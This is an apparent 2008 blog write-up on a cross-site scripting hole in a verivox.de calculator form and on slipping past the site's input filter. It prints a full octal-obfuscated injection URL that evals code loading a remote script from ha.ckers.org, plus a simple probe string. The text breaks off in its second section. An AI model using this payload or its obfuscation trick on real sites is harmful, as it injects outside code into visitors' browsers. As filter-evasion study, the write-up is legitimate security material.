____________________________________________________________________________
____________________________________________________________________________
01010111 01001001 01010010 01000101 01000100 01010011 ->
01000101 01000011 01010101 01010010 01001001 01010100 ->
01011001
____________________________________________________________________________
Carnival, or how to camouflage data for XSS filters
____________________________________________________________________________
______________________________________________________
|| 0x00: ABOUT ME
|| 0x01: CARNIVAL [04. FEB. 08]
|| 0x02: FURTHER CHECKS CONFIRMED THE HINTS
|| 0x03: NOW, HOW DID THE INJECTION WORK FOR ALL THAT?
|| 0x04: LESSONS LEARNED
|| 0x05: FINALLY
____________________________________________________________
____________________________________________________________
_________________
|| 0x00: ABOUT ME
Author: Veda
Date: February 2008
Website: http://wired-security.net/
_______________________________
|| 0x01: CARNIVAL [04. FEB. 08]
In carnival everyone is disguised, and fools are everywhere. Nevertheless I checked
sla.ckers.org and stumpled over following XSS, which fits perfect to disguising
(technically: obfuscation:) Read on!
http://verivox.de/Power/Calculator.asp?31=on&No=40&51=on&52=on&54=on&lookup=true&leistungsmessung=no&radio1=1&
plz=01234&11=31337%22onfocus=%22top['\145\166\141\154']('\144\157\143\165\155\145\156\164\56\167\162\151\164\145
\154\156\50\47\74\142\157\144\171\76\74\163\143\162\151\160\164\40\163\162\143\75\42\57\57\150\141\56\143\153\145
\162\163\56\157\162\147\57\163\42\76\74\57\163\143\162\151\160\164\76\74\57\142\157\144\171\76\47\51\73');
&customer=priv&submit1=vergleichen
What made me interested were the 2 posted hints about the problem to make it working.
The website seems to sanatize the given input:
1. removes all spaces
2. replaces all letter e by letter m
When looking at the vulnerable page, it showed a form which was indead vulnerable to
simple XSS like:
1">XSS
___________________________________________
|| 0x02: FURTHER CHECKS CONFIRMED THE HINTS
1. Remove all spaces
This rule makes injections impossible which require a space, i.e.
1">